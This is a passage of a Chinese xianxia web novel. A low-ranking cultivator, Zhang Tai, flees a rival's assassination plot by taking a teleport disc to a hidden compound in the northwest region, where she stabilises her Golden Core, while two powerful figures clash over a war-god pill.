实在令人扼腕!
不知为何,她的直觉让她迫切提升自身实力,为此,过往那种极度压缩灵力巩固修为的修炼方式都可以放一放,对于这次的战神遗藏秘境,更是让她非入不可。
就像是之后会有很大的劫难,哪怕是她,也难以在其中保全自身。
在这种时代,最大的劫难除了魔物大军冲破防线,继续在中州攻城略地,还能是什么?
但这是否太过杞人忧天?距离五百年尚早。
可能最近太乱了,譬如几月前掀起的叛乱势力,又比如一年多前,中州好几大宗门属地仙城宝库失窃以及一百余位化神大能不知为何魂灯同时熄灭。
自己还是要稳住心神,比如眼下,首任战神到底是首任战神,从抗魔秘境的难度就可以看出,其中的凶险与不好消受,自己此番错失,才是真正保住了一条性命。
魏敏贞之外的绝大多数修士则不必多说,得知不久后便可彻底离开的消息,都纷纷松了口气,且见两位化神修士也不是什么严厉规正之人,有些修士便没个正行躺倒在草地上。
而张苔则是直接将郑尔雅拖到角落,又是隔音结界,又是防窥禁制的,催促起郑尔雅刻录传送阵盘起来。
郑尔雅仰天笑了一阵,直接拿出个阵盘给她。
张苔接过,仔细看上边的阵纹偏又看不懂,于是她狐疑盯着郑尔雅,“确定没拿别的什么糊弄我?你不是说脑海里有抵达玄天宗的阵引,要现场刻录吗?”
郑尔雅摸了摸鼻子,“这不是突然想起,自己当初突然掌握这个技能的时候,为了练手,就先刻录了几个么,里边恰好有直达玄天宗的。”
又佯装生气道,“我还会害了你不成,你可是我的老朋友,这世上不会再有谁比我更希望你好好活着了。
你看之前我说这群人冲着战神遗藏来的,但这个秘境不是战神遗藏危险系数不是很高能够顺利过关,没错吧?”
尽管说的确实也是这么一回事,张苔心底还是有些存疑。
安抚住郑尔雅,张苔解开结界禁制,想着此处是秘境口,出来的人中绝对有玄天宗的高阶修士,到时候自己死皮赖脸凑上去,蹭个传送阵,或许也行?
反正刚从郑尔雅手中拿到传送阵,再去找魏敏贞显得自己刚才对郑尔雅的话语太虚假,她不是太好意思。
不过张苔的神识还是落到了魏敏贞那边。
却发现冯阳居然在找魏敏贞说些什么,操作跟张苔挺像,也是隔音结界防窥禁制皆备。
她心生疑窦,尚未来得及多思考些什么,有修士突然高呼。
“地图灵具可以用了,现在是可以离开了吗?”
沿声望去,是之前那位归心似箭的修士,现在又跑到化神修士面前,略带急切地询问着,战神遗藏秘境尚未关闭,现在的地图灵具给出的信息会不会有误,可不可以现在就按照地图灵具的指示离开。
化神修士也不以为忤,当初他们这群人在这里安置时,他就收敛了全身的威压,此时也耐心回答,“应该是可以的,本座感知到秘境中已有修士传送出来,可能是顾及到杀人夺宝,所以出来的修士并非全部传送往入口这边。”
“既然已有修士被从秘境中传送到这整片荒郊树林附近,他们也需要离开,秘境的场域减弱,地图灵具效用恢复也是正常。”
有了大能这番话,那位修士像是得了什么金口玉言的保证。
连连道谢之后,先是往魏敏贞那边看了一眼——显然那边不得闲,然后找着附近的一位赤云宫修士,匆匆道,“我先走一步了,若是魏师姐询问起我来,你就跟她说我已经走了。”
一边说还一边掐诀,话音刚落,原地就只剩下遁光。
见有同伴离开了,剩下的一些修士在原地也待不下去了,拿出自己的灵具,发现也能用,于是接连也到之前被嘱托的修士面前,留下告知魏师姐的嘱托,然后也跑了。
被嘱托的修士哭丧着脸,“怎么一个个都找我啊。”
掐诀的修士同情道,“横竖你都已经身负一个带话的任务了,再多几个也是一样的,这次就拜托你了,下次我也帮你带话。”
说完也没影了。
张苔也拿出地图灵具,发现此处在丹砂镇与泗盘镇之间的荒野,最近的仙城分别是赤云宫属地的鎏锋仙城,其次便是玄天宗属地的金砂仙城。
如果不是畏惧孙元的暗手,正常来讲的话,她可能还是会前往金砂仙城,无他,跨属地传送的价格更贵,她宁愿绕些远路。
可惜正常途径对她来说都作废了,正准备也动身离开,在丛林中找一找,看能不能碰上玄天宗的高阶修士蹭传送阵盘,郑尔雅就凑近了,在她耳边道,“可以离开了,你怎么还不往我给你的传送阵盘中灌输灵力啊。”
张苔有些心虚,但面上不显,“传送阵盘还是太珍贵了,你这个我先留着,反正现在战神遗藏秘境中的修士不也渐渐出来了吗?我看看能不能碰上个急着离开的,我们宗门的修士,如果可以的话,你这个传送阵盘就省下来了,以后可以做底牌同样救命用。”
郑尔雅哼笑一声,“你就是不信我,算了,找从秘境出来的人也行啊,要不就找凝光宗律令峰的林白圭吧,不仅是个好人,那长相也是让其他男修没法活,我记得我在人群中还用留影珠给他偷偷留过影,你等等哈。”
对于郑尔雅的跳脱行为,张苔真的是头疼。
“好啦好啦,我知道你的好意了,我先走了,后会有期。”
顾不上对面的反应,张苔几乎可以说是遁逃了。
*
想法永远看起来那么的理所当然,而实际实行起来却是比较艰难。
能够有进入战神遗藏秘境的资格以及顺利从中出来的,一个个本领非凡,至少在修炼资源上并不欠缺,基本上出来的,都即刻用上了传送阵盘。
所以碰上一个刚传送出来的,判断时间长一点,动作慢一点,对方就再度消失了,为了能蹭传送阵,张苔只要看着是个人,直接冲过去问对方目的地是不是玄天宗,能不能带上她。
主要是也没什么好判断的,这些个人中龙凤,张苔压根感知不到他们的修为境界。
一些极为谨慎的,不知用了什么术法,面目都是模糊的,遑论看出有玄天宗制式的道袍、发冠、佩饰等。
连续问了十几二十位修士,没一个带上她的,还有部分修士感知到她突兀出现,还以为她要偷袭,其中有位修士,直接动手,差点没把她送走到阎王爷那。
这位修士她看不到修为,估计是身怀法宝,不过实际境界应该还是在她本应该能感知到的元婴,不然她压根躲不掉。
观灵术只要不用针对性抑或具有隐蔽性的法器法宝,比自身高一个大境界范围内的的修士修为都能观测到。
可能她这样做实在是太冒昧了吧,样本也有些少,所以没碰到玄天宗的同门,就算勉强碰到了一个,对方出于谨慎还是拒绝了。
其实张苔还是有些紧迫感的,说到底,如果孙元在自己身上下了追踪手段——凭自己的能耐是无法发现的,是能够察觉到自己始终停留在战神遗藏秘境入口附近的。
保不准就能够猜到自己的打算,然后联系家族内的高手赶紧赶过来把自己做掉。
停留的时间不宜过长,张苔深知这点,抓紧了找人的节奏感,什么面子羞耻心尴尬感,全给扔了。
比较麻烦的是,距离战神遗藏秘境入口彻底关闭,还有那么一小会儿,所以其形成的场域影响还在,故而神识能够感知到的范围大大削减,其实也就比用肉眼看稍微要好那么一点,距离上差不多,但能够查探到视线的死角。
这也是对传送出来的修士防止被杀人夺宝的一种保护。
于此对应也导致了张苔找人也就只能依靠在林中横冲直撞,看经过的位置附近有无修士传送出来,并上前询问对方是否准备使用直达玄天宗的传送阵盘,能否带上自己。
又一次没能成功,张苔看着人消失在自己眼前,再度御剑而起,往前寻找目标,没多久,远远地就看见前方貌似有两位修士。
张苔照常边飞收起法剑,准备一个步法闪现到那两位身前,但随着距离又近了些,她察觉到不对。
前边那两位之间的气氛,是不是太暧昧了些?
从她这个角度,恰好看到那雾气模糊了面庞的女修突然威压展开,欺身逼近,素手探向侧对着她,生了满头白发男子的腕间。
轻微的灵力波动几近于无,蔻丹指尖只触碰到半截袖角的残影。
面对如此显而易见地推拒,女修也不恼怒,声音还带上了些刻意的柔软,“道友的经脉...似乎有旧伤未愈。”
张苔显然也知道自己不适合再靠近,重新架起法剑,御剑准备离开。
纵使那女修刻意收敛了通身的威压气场,张苔也隐隐猜测对方
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至少是高自己两个境界,出窍修为以上。
现在大能忙着狩猎一段艳遇,一个眼风都不屑于分给自己,也懒得计较自己的突兀闯入,不过对面貌似是个硬茬子,不愿意被猎,她得赶紧跑,免得大能未得手反迁怒自己。
哪怕一个针对性威压,都能震压到她受内伤。
这破剑,还不快点升空,进入飞行状态。
张苔在心底催促着法剑,一边想着非礼勿听,一边还是把身后男修的话语听了个完全。
“仙子...好眼力。”
语调有些轻,说得还断断续续,听起来感觉这人有些中气不足。
张苔在心底评价,没想到男修后边的话更是让她手抖,差点灵力没接续上让法剑掉落地上。
“不仅是经脉...伤势有些严重,咳,可能力不从心...倘若女仙身上有千年九转青灵莲、百年玄冰灵参、龙血菩提子,并能够大方赠与我疗伤...”
虽然这些好东西,张苔全没听过,但绝对知道贵重至极。
果然女修不满至极的话语直接打断着传来,“你倒是敢想,最多一株百年的九转青灵莲。”
“也行。”那个行字轻到只剩下气音。
“我...凝光宗圣手峰赵燎...这是我的身份玉牌和传讯符,看仙子何时得闲...可径直来凝光宗找我...从手上看伤还是太艰难,仙子可以遍览我全身,看我伤势,届时还望仙子多怜惜些...”
此时张苔已经御剑走远了一些距离,至少是神识感知不到还要远一点。
不过也没太远,听不到那边谈话,但大动静还是能传来。
主要是张苔觉得既然大能已经得手,想来也不会再介意她的擅闯,后续大能被惹怒,动静传来她也来得及跑。
现在回忆起之前自己的胆大,她也是出了一身冷汗。
尽管仙盟尽力反对修士之间互相残杀,且在所有场合推崇的是团结互助的观念,也在民间俗世逐渐形成了这样的一种共识。
但这种荒郊野外,大能若是不愉快了,就是杀了她个小小的金丹修士又如何?
念及此,兼之时间也确实过去了这么久,张苔不打算再冒昧去询问传送出来的修士有关传送目的地事宜。
其实主要还是她骨子里的抠门属性在那里,否则言说自己疏忽之下,忘了自己直达玄天宗的传送阵用完了,没及时补充,不想赶路,用十块上品灵石跟对方买的话,成功几率应该会大大提高。
一边将灵力灌注到郑尔雅给的阵盘中,张苔一边这么想着。
等待了一会儿,阵盘上阵法被启动,捏碎阵盘,其间阵法纹路铺展开。
与先前遇上并询问的那些修士所用传送阵不同,纹路缭绕周身后便将泛起光芒将人传送走。
此纹路蔓延的范围越来越宽,张苔丝毫不知其尽头在哪里。
“咔嚓。”
张苔听到枯枝被踩断的声音,缘声望去,看到一棵苍劲挺拔的樟树旁,朝她这个方向慢吞吞走来一人。
最为醒目的还是他那满头白发,如瀑布般顺滑垂落,其次便是清癯的身形,外罩着一袭宽大的黑色大氅,为他平添了几分羸弱之美。
似意识她这边在使用传送阵,他停下步子等待,但这距离也足以张苔看清他惊艳的眉眼,唇色淡而含笑,以及似乎刚刚从一场大病中恢复过来般的苍白肤色。
张苔瞬间就理解了之前那位大能为何被其所吸引,甚至想着,若是她也生了这么一幅人神共愤的容貌,蹭传送阵的事情哪会这么难,保不准就会有色令智昏的修士,尽管目的地不在玄天宗,也会用个直达玄天宗的传送阵盘,与她同行。
直到阵法纹路的金色光芒映照在男修昳丽容颜上,张苔才惊觉,这传送阵居然把对方也囊括进传送范围了!
张苔刚想开口说些什么,眼前一花,天旋地转,无数光怪陆离的色块伴随着失重感在眼前划过,她也只能急忙稳住身形。
*
约莫半盏茶的时间过去,张苔一个踉跄,单手撑住地面。掌心传来木质地板微凉的触感——这与她玄天宗无论哪个气派的大门门口都不符啊。
心中带着微微紧张不敢置信,展开神识,这是一个小院。
三丈见方的院落外围被青竹篱笆围着,庭中栽了一棵歪脖子梅树,树下石桌积了厚厚的一层灰尘,东侧厢房檐角悬着盏褪色的青铜铃,西侧药圃里几簇冰蓝色草叶长势喜人。
哪里有半分玄天宗的影子?!
张苔咬牙切齿地拿出地图灵具,暗暗想着,郑尔雅给她送到的地方若是不能规避掉这次的危机,而她后续顺利活下来了,她绝对要找此人算账!
27. 新途
设想了很多此处地域的可能,当真正看到此时她正身处于西北域的腹地时,张苔还是微微惊讶了一下。
西北域多山脉、地势起伏,灵脉不好开掘,灵气浓郁程度相比中州和东南域要低一个档次,还和魔物大军聚集的西南域贴近。
出于以上缘由,以及接近末修时代的归凡时代历史上,人族也多生存繁衍在中州和东南域,所以在有智慧的大妖与人族进行地盘分配的时候,西北域这块就给了妖兽灵兽。
其实妖兽灵兽相比于人族,还是要势弱很多的,约莫三万多年的之前,那时候的修仙界之上还有仙界,修仙之人可以飞升,元黄大陆修仙界也只是上边仙界的下位界面之一。
但不知他们这一界的飞升之人,在仙界做了什么触怒了上界,飞升通道被关闭,从仙界流泻而下的仙灵之气被隔绝,修仙界的灵气浓度大幅度暴跌。
灵气浓度迅速下跌的影响是巨大的,无数妖兽灵兽因无法适应稀薄的灵气环境而大批消亡,血脉断绝。依古籍所载,如今残存于世的妖兽灵兽,血脉低劣稀薄,像远古鼎灵时代的四象圣兽、上古时代叱咤风云血脉纯粹的各种神兽,也彻底成了书册玉简上记载的传说。
至于人族这边,修仙人数同样腰斩,整个下界逐渐回归凡人时代的日出而作日入而息。
试想,你累死累活大半辈子修仙,修炼到炼气五层就顶天了,最大威力的术法也就一阵狂风、一面火海、半刻暴雨等等,这大几十年除了修炼更是衣食住行更是没半点进项,这谁撑得住?
修仙宗门彻底落寞下来,大陆割据,群雄接连建国称帝,皇族统治兴起,修仙之人甚至开始被称为“世外之人”。
这种境况维持了约莫七千多年,史书记载将这段记载为“归凡时代”。
之后便是元黄大陆一条条灵脉被发掘,修仙界的灵气浓度得到回升,再之后没多久便是魔物诞生,进入逢魔乱世末修时代。
尽管修仙界的灵气浓度相较于归凡时代已然大幅度提升,但是修士可以晋升的境界几乎被砍了一半,在上界通道被封锁之前,修士的境界为炼气-筑基-金丹-元婴-出窍-化神-炼虚-合体-大乘-渡劫,再之后便是飞升。
而今大陆上的修士,大部分顶天了,也就修炼到化神。
妖兽灵兽那边也差不多,在人族的归凡时代,大部分避世隐世在荒无人烟极端环境的地方休眠,以期能逐渐扛过和适应低灵力的环境。
当灵力浓度升高,它们逐渐苏醒,却也发现大部分血脉尊贵、能力强悍的同族已经死亡,而这时候,人族为了应对魔物,硬生生被逼出提升潜力,境界一事上不必多说,符阵法器功法幻术毒术等更是全面开花。
不过人族为了应对魔物之患,也没有多余的精力去管顾妖兽灵兽那边,当有智慧的大妖与人族提出分区而立、人族不可进入它们的领地掠夺太过,且进入它们领地的人族生死自负,而杀了它们有灵智的妖兽它们会报复回来的时候,人族这边也答应了。
因为人族大规模进入西北域这边受到限制,所以这一片区域可以说是灵材特别丰富的一块区域。
张苔作为底层穷困修士,也有想过到西北域这边谋求修炼资源,后来一打听,一个来回最快也得三四年,且要么支付一笔高昂的入境费,要么所得要抽四成,危险系数还很高,性价比实在太低。
扯远了,张苔从这些思绪里抓住重点,她着重想要确认的是,这个位置在西北域深处,孙家的人来一趟可不容易,来了也不一定有命找到这里。
现在孙元的报复问题是得到了解决,但新的问题是来了,她自个儿又要怎么回去呢?
张苔的目光开始在院中逡巡,希望能发现些什么。
西北域的妖兽灵兽可不像中州,大部分区域还是人族豢养放养的,来不及进阶到更高修为就被猎杀了,西北域的妖兽灵兽分部更加密集,境界更高也格外凶残。
光凭她自个儿的本事,回到中州不说痴人说梦,至少得费上十几年的功夫。
正凝神观察着,张苔的视线触及到了倚在梅树下的俊美男修,大氅垂落如鸦羽铺散,他半阖着眼,长睫在苍白的脸上投下浅淡阴影,整个人像一尊被风雪浸透的玉雕,惫怠得近乎凝固。
初来乍到陌生区域的慎重,倒是让她把危险性不强的此人给忘了。
她抿了抿唇,斟酌着言辞,对方却忽然抬眼。
四目相对。
那是一双怎样的眼睛啊。
眼尾上挑如三月桃花,眸色极深,像是把夜色都敛了进去。右眼下一颗泪痣,如同墨汁溅在雪白的宣纸上,妖冶得近乎刺目。明明是病骨支离的人,这双眼却活色生香,仿佛能勾魂摄魄。
她忽然什么都说不出口了。
像是早就见惯了这种失神,他率先移开目光,视线慢吞吞地碾过院落,依次转向院中看似随意摆放的石凳、药锄、甚至晾晒的兽骨等好几个地方。
这番示意很明显,张苔根据他所给的线索细细查看思索后,下结论道,“原来此处还是个安全点,院子被一个复合大阵笼罩,至少有掩藏不被大妖发现以及阻挡攻击的防御作用。”
先前男修目光落点的几处则是这处复合大阵的阵基。
若说先前她还只是猜测,既然她被传送到这里,保不准这里附近也会有将她传送回去的传送阵,那么现在她可以肯定这个猜测。
只是从哪里找起呢?
“笃、笃”
敲击地面的声音响起,那男修不知何时祭出一根青木杖法器,敲击着地面。
见张苔的注意力被吸引过来,他用青木杖在地面一截枯藤上划开切口,靛青色汁液渗出,在阳光下泛着莹润光泽,隐隐有灵气流转。
“凝罡液藤,因汁液蕴含木灵精华,且质地粘稠稳固,能长久承载阵纹而不散,是绘制非一次性、长期使用的固定阵法的上好材料。”
张苔闻言心头微动,顺着痕迹查探,果然在正房的待客大厅一处石板处,发现敲击声不同。
掀开石板,下边是一座地下室,地下室不大,一座高台占据了大部分位置,而这高台显然是做传送之用,因其上繁复的阵纹完整,只阵眼处的灵石槽空空如也。
估计只要往灵石槽中填入灵石后,阵法便可启动传送。
张苔现在也明白郑尔雅为何给自己这样一个传送阵盘了,多半是用神通学到的技艺中,得知这是传送往西北域的传送阵,但一切情况未明,于是让自己来探路了。
当然也有可能郑尔雅先前已经来过这地方一趟了,现在纯属给自己送福利来了
这原本搭阵的阵师也是个人才,通过这种方式,规避掉了高昂的入境费和苛刻的抽成,而西北域委实是个资源丰富的地方,不敢想象那阵师而今有多厚的身家。
一边漫无边际地想着这些,张苔一边跃身从地下室回归待客大厅。
见到之前那位男修也跟了上来,张苔拍了拍手掌,然后用着清洁术除去衣袍上的灰尘,“下边有传送阵,应该能用,你放入灵石就能回去了。”
男修没什么精神地点点头与她擦肩而过,不知是不是就算作告别了。
神识感知着男修走往她身后那个黑洞洞的地窍口,她方才掀开的石板还斜倒在旁边。
正当张苔以为他就要往下跳的时候,这男修只是往下粗略扫一眼,随即抬手拿起石板,重新将地窍口给盖上了。
张苔:?!
“你恢复成原样做什么?这不应该是你离开后我来做的吗?你不离开吗?”
男修懒懒地掀起眼皮看了她一眼,“我从没说过我要离开。”
张苔表示不解,“那位大能,也就是先前从战神遗藏秘境出来时你碰上的那位,她找你,你怎么办?”
问完她才意识到自己越界了,但话已经说出口,她也就随便了。
男修倒是不以为忤,哦了一声,“那位啊。”
“通讯符我给的不是我的,且她要找,也是找凝光宗圣手峰赵燎,跟我赵庭...”
说到这里他顿了一下,“跟我赵庭燎没关系。”
“此地灵气浓郁,灵材丰富,我和道友一样,可能会待上一阵子,以后望多关照。”
张苔瞬间就明白此人是将那位大佬给摆了一道,就连现在给出的名字也不知真假,不过是为了日后相处时,能有个称呼。
果然能从战神遗藏秘境活着出来的,就没有一个省油的灯。
不过好在对方说话总算是正常一点了,若是像先前跟那位大佬时一样,断断续续句末常只剩个气音,她怕自己听着上火。
*
另一边,战神遗藏秘境入口处。
彻底到了战神遗藏秘境关闭的时刻,孙元亲眼见证那团光幕消失,两位化神尊者离开。
孙元明白终是再怎么不甘,也没办法了。
这次争取到的家族密令出行,她终究还是没能成功,只能尽量多挽回些损失。
从储物法器中拿出一卷卷轴,她曾在张苔身上用了追踪秘术,其位置会在此地图卷轴上显现。
先前用传讯符联系的家族专门拨给自己的供奉客卿,也该到了。
之所以不自己动手,一是她还心心念念着家族密令,没有心情,二是战神遗藏秘境的场域太强,追踪法宝也不能显示准确位置,三是确实怕自己的行为被有心人窥见记录,后续留有隐患。
现今场域的
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影响消失,自己待会儿等供奉客卿抵达后将追踪法宝给他,让其代替自己动手,他们专业干这个的,想来也会更隐秘利落一些。
“呵呵,到底是在泥堆里打滚的人,对自己的定位不清晰,有些东西拿了也不怕...”
指尖掐着展开的追踪卷轴,看清张苔所在的准确位置后,孙元唇边冷笑尚未成型便骤然凝固。
“贱人!这个合该被千刀万剐的贱人!”
然而尚且没来得及怎么发作,孙元的神识中传来尖锐的警觉,她握着卷轴的手指僵住,后颈汗毛根根倒竖,有超越她能力认知的存在靠近。
她仓皇转身,最后的视野里只有两道模糊人影——左边那位白袍广袖无风自动,右边黑袍翻涌如活物,两人的面容都笼罩在扭曲的光晕里。
无形气浪从两人之间爆发,孙元感觉有万钧重锤砸在胸口,手中的卷轴再也握不住坠落于地,她也只觉眼冒金星,很快昏了过去。
也就没看到,在第二波气浪冲击之前,白袍人打出一道无形气墙将她隔绝,又有一片青叶,在她脑袋即将磕上尖石时飘来将其拖住。
“好一个威风凛凛的战神!亲眼见着自己的子民在自己跟前而殒落?”
白袍人开口,他声音似玉磬余韵,明明近在咫尺,却仿佛自九天之外传来:“万俟钧,这个位置你做不好,可以退位让贤。”
黑袍人闻言冷笑,甩袖如刀锋翻飞,他字字诛心:“这个位置做不做得好我不知道,我只知道,你师尊当初愿意将这个位置托付给我这个外人,都不愿让你继承。”
顿了顿,他眸光如寒星闪烁:"林白圭,若非你执意带着那东西要走,何至于此?若今日真有人命伤亡,这笔因果,合该算在你头上。”
他也不想再多耽搁,降低姿态道,“速速将东西给我,林白圭,你我心知肚明,它就在你身上。大局在前,我即将奔赴白骨荒原战场,战神亲征,只许胜不许败,事有轻重缓急,你我私怨,战后再论。”
林白圭闭目凝息,压下翻涌的心绪。
他自然明白万俟钧所指何物——历代战神坐化前,大多会以自身为鼎炉,将毕生修为炼就一颗"战神丹"。此丹蕴含灌顶之效,却无夺舍之虞,服用者可承继前人大部分修为实力而无半分反噬。而首任战神留下的那颗旷世神丹,就在这处战神遗府秘境。
此刻,万俟钧向他索要的,正是这颗足以颠覆修仙界格局的至宝。
历代战神的位置得到天下人承认之后,前任战神的传承会向其开放,其中便有战神丹的记载,当某一任战神自知无力抵挡魔物大军的攻伐,人族面临灭绝之危,此任战神可以开启历任战神遗府遗藏,取得部分战神以身为殉的战神丹。
他并非有强占此丹之心,只是认为而今事态尚不到历任战神遗府大举面世,战神丹被服用之际。
初初听闻首任战神的遗藏秘境被开启,他怒火中烧,赶至秘境之中,得知大量魔物混迹其间,更对战神丹起了觊觎之心,而万俟钧还真无能到让一位魔君差点得手,怒火更是达到巅峰。
故而从魔君手中截胡走战神丹后,他没有立即给万俟钧,想晾上对方一阵子。
而今听到对方提及亲征白骨荒原战场,他忽而就理解对方为何要提前大开秘境取神丹了。
说到底还是来位不正的自卑作祟,需要仰仗外物来获得支撑。
难道没有战神丹助力,就一定会落败?服用战神丹自身得到突破,就一定会获胜?
且胜败乃兵家常事,就算是战神亲征,也不会局局获胜,太过于看重一局的胜败,太过不理智,说到底,这种事情讲究一个尽力而为、问心无愧。
但他又能如何呢?难道还跟万俟钧说这些大道理不成?对方未必不懂,只是执意这般作为。
眼见着对方周身灵力漫涌,是祭出绝对杀招的前兆,整个人浑身笼罩着今日非死必拿回此丹的决然。
战神之威,不可估量,哪怕附近有为嵌入秘境而提供的不少屏障,至少对方圆千里将造成毁灭性打击,且动摇首任战神遗藏秘境根基。
林白圭无法,只能取出一个雕纹玉盒,用灵力托着送到对方面前,“战神丹就在其中。”
万俟钧查验无误后,卸回招式,收敛周身气息,冷哼一声,“林白圭,我的事你少管,在当初那件大事发生之后,没把你直接剔除战神势力,我以为我已经足够客气!”
“后会无期!”
丢下这句,万俟钧甩袖消失当场。
林白圭静立半晌后,光芒一现,也失踪在原地。
远处地上的孙元仍在昏迷,只有一旁微风拂过的摇曳树叶知晓,此任战神以及上任战神弟子曾在此处交锋过。
28. 修炼
“现在是安疆历一百零一年七月廿十三,弟子因误踩传送阵而到了西北域,无法按时回归宗门呈递任务汇报,而非有意延误宗门任务,特此留影为证。目前我所在的位置还算安全,后续安全的位置会陆续再记录一二为证。”
装腔作势地将这段录完,张苔收好留影珠,决定回院落,修整一段日子,把先前在抗魔秘境中受的内伤以及没化开的药力解决,再稳固刚进阶到金丹后期的修为,之后就开始第一轮在西北域的修炼资源采集。
进入院中,张苔有些微微的不适——因为这处区域的时间流速不同,她在适应。
是的,赵庭燎不知用了什么时间类法宝,让院中的时间流速和实际流速维系在三十比一,院中过去三十天,外边才一天。
而今元黄大陆上的时间类法宝,虽不说稀有到只存在传说中,但也是有价无市的。
末修时代,因为灵气衰微,绝大多数修炼到元婴便是天花板,又因经过各大宗门为增进抗魔力量钻研改良的功法之故,能修炼到元婴的修士,至多二百年便可迈入元婴,此境界却足有千年寿元,剩下的岁月精力,大多投向其它方面。
故而整个修仙界,产生了百业争鸣、各道昌隆的煌煌气象,丹鼎蒸霞映透三十六洞天,炼器星火灼灼直贯银河,符箓朱砂流转自成乾坤,阵枢踏罡布斗,药理循源新生芽胚……时间类法宝,便是成果之一。
而首任战神期间,只存在各种话本意淫中,主角才能够凭借逆天气运才能够拥有、整个大陆独一无二的芥子空间,也被铸造出来。
只是这价格,同样的,有大把灵石也买不到,市场上流出一个卖价也高到一个骇人的数字。
张苔懒得管对方这么大喇喇用出来此等珍惜法宝,是心大还是没把自己放在眼里,反正她只管蹭就是了。
选了西厢随意一个屋子推门而入,简单掐了个除尘诀,将整间屋子清理,取出蒲团到石床上然后盘膝坐下。
她缓缓吐出一口浊气,闭目内视。丹田内灵力流转,找到四肢百骸尚未化解的药力,推送着将秘境中残留的内伤暗伤一一抚过。那些郁结的淤血在灵力药力冲刷下渐渐化开,伴随着细微的刺痛。
三个周天后,她额间已沁出细汗,但周身明显轻盈许多,面色也比先前红润。
睁开眼,窗外日影西斜,竟已过去半日。
按计划,接下来,她就要进入修炼状态,将金丹后期的境界稳固。
修炼实在是一件很无聊又痛苦的事情,而这七十年的岁月里她反复做这件事情。
可能也是她心态变了吧,反正近些年来,很多次她修炼前,都要做好长的心理建设。
明明只要入定念诀结印,这么几个简单的步骤,只要做了,就开始进入修炼了,但光是想到“现在我要开始入定”就觉得十分沉重以及无限的厌烦。
或者念着清心诀强行入定了,神识沉入体内没多久就自行脱离,修炼没开始多久她就结束了。
当然也可以辅助丹药借助法宝进行入定,但是她这种穷鬼就别想了。
眼下进入入定状态还好,约莫是清楚冲击到金丹后期在魔窟中的不易,如果不把这个境界稳固下来,实在对不起她先前的出生入死。
盘膝而坐,双手结定印,呼吸渐渐绵长。随着呼吸渐稳,心法运转,四周灵气开始向她汇聚。闭目的黑暗中,她"看"到无数细小的光点漂浮在空气中——赤红的火灵气、青翠的木灵气、湛蓝的水灵气......它们像夏夜的萤火,随着她的吐纳节奏明灭闪烁。
神识沉入体内,她清晰地"看"到金丹在丹田气海中沉浮旋转,浑圆无瑕。
张苔也是心中暗道万幸,抗魔秘境中几次强行抽调透支灵力,她生怕自己金丹撑不住,给裂开几道裂纹。
裂纹会导致金丹内储存的灵力缓慢逸散,修为逐渐倒退。若裂纹未修复,强行冲击元婴期时,金丹可能提前崩溃,导致突破失败甚至修为尽废。金丹不稳,施展高阶法术时可能引发灵力反噬。
所以如果有裂纹,得尽快找医修,或者你自己财大气粗点,用高阶疗伤丹或者药用型天材地宝,其实两者都挺贵,不过后者花销更大。
金丹虽无裂纹,但表面尚浮动着未稳定的三色光晕——这是秘境中仓促突破境界不太稳的表现。
张苔默念修炼心法,引导着周身木土火三色光点渗入体内,又汇聚成溪流涌入经脉。
她木灵根在三种灵根中最为纯粹,吸纳的木灵气也是最多的,青色的木灵气如春风般轻柔地拂过每一条经络,所过之处,经脉内壁浮现出细密的木质纹理,仿佛老树新生。
土黄色的灵气则显得厚重沉稳,它们沿着足三阴经缓缓上行,吸纳的火灵气最少,一经引入,就在经脉中暴躁的冲撞着。
引导约束控制着这三股灵力运行一周天,最终在丹田处交汇。
不断重复以上过程,直至丹田之内三种灵力足够充盈。
她先引导最为精纯的木灵力缠绕金丹。几乎是瞬间,青色光晕直接将木灵力逼退开。
张苔宁眉,随即意识到,丹田内这点灵力压根不够让境界稳固。
于是她开始压缩丹田中的三种灵力,将它们凝聚成一滴滴纯粹的灵液,就像筑基期时丹田内的灵液那样。
之后便重复起:从外界吸纳灵气-灵气浓缩成灵力进入经脉-灵力运转周天进入丹田-灵力在丹田中被压缩成灵液-从外界吸纳灵气……直至灵液遍布整个丹田。
估摸着差不多了,她让青色的灵液化作藤蔓层层包裹,在金丹表面织就一张细密的网。每根"藤蔓"末端都扎入金丹内部,与本源灵力相连。
木灵力特有的生机滋养着金丹,表面浮动的青色光晕渐渐稳定下来。
接下来又依次将土灵力、火灵力压缩锤炼淬炼导入金丹之内。
金丹悬于气海中央,通体浑圆如玉,缓缓旋转,表面流转着琉璃般的光泽,再也看不到半点晃荡纠缠不稳的杂色。
金丹后期的境界,是彻底稳定下来。
张苔缓缓吐出一口气,睁开双眼,浑身舒展,可以感觉到雄厚的木土火三种灵力在经脉中流淌,自身精力充沛,耳目格外清明,神识覆盖到的地方任何存在感知都纤毫毕现。
她拿出计时灵具,在院中,她仅仅只是稳固一下境界,时间竟过去了接近五年!
可以说,此次稳固境界,是她自金丹中期以来,入定后便从未脱离修炼状态最长的时间。
没有欣喜,反倒一股隐隐的担忧在心底蔓延开来。
她曾经听过一种说法,将从一个小境界进阶到另一个小境界的修炼过程比喻成在一段道路上行走,最开始的路段就是稳固境界,大约占整个道路的1%。
如果这种说法成立,她的未来堪忧,光是金丹后期的稳固境界,她就花费了接近5年,要想修炼到金丹大圆满则要五百年,而金丹修士的寿元极限也就500年。
更为让她恐慌的是,她上一个阶段的修炼,有一些暗和这种说法,当初稳固境界的时候,因为各种事情,如进入并逐步熟悉外门环境、竞争外峰、出手灵鹤、得罪修二代等等琐事,她不记得自己花费了多久,但粗略估计抛开这些琐事侵占的时间,应该也花了一年多左右。
而之后的每次修炼,无论怎么吸纳灵力,吸纳了多久,就如同泥牛入海,完全摸不到突破的界限在哪,因为实在太遥远。
说到底还是她的天资问题,她是三灵根,本来吸纳的灵气就很少,还要分更多时间将这三份灵力平衡着渗入金丹。
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不过她还是不认为那个说法是正确的,因为和她筑基期合不上,自己对于未来也没必要太悲观。
总之,这一阶段的计划算是完成了。
从厢房出来,张苔推开院落的青木门,复合大阵的光幕在她身后如水波般荡漾。西北域特有的干燥空气扑面而来,带着松针与某种辛辣灵植混合的气息。
灵植学名赤焰椒,这种通体朱红的低阶灵植在院墙外成片生长,拇指大的果实终年不落,虽不能入药炼丹炼器,也不能作为画符画阵的材料,但辛辣气味能驱散多数嗅觉灵敏的灵兽妖兽。
当初选址建造院落于此的那位,想必正是看中这处天然屏障。
碎石在她鹿皮靴下咯吱作响。张苔走过一丛赤焰椒时,顺手掐断几颗干瘪的果实捏碎,用灵力将汁液在周身涂抹——从现在开始,她就是一株移动的赤焰椒果树了,眼盲低智的灵兽妖兽想来不会锁定瞄准她。
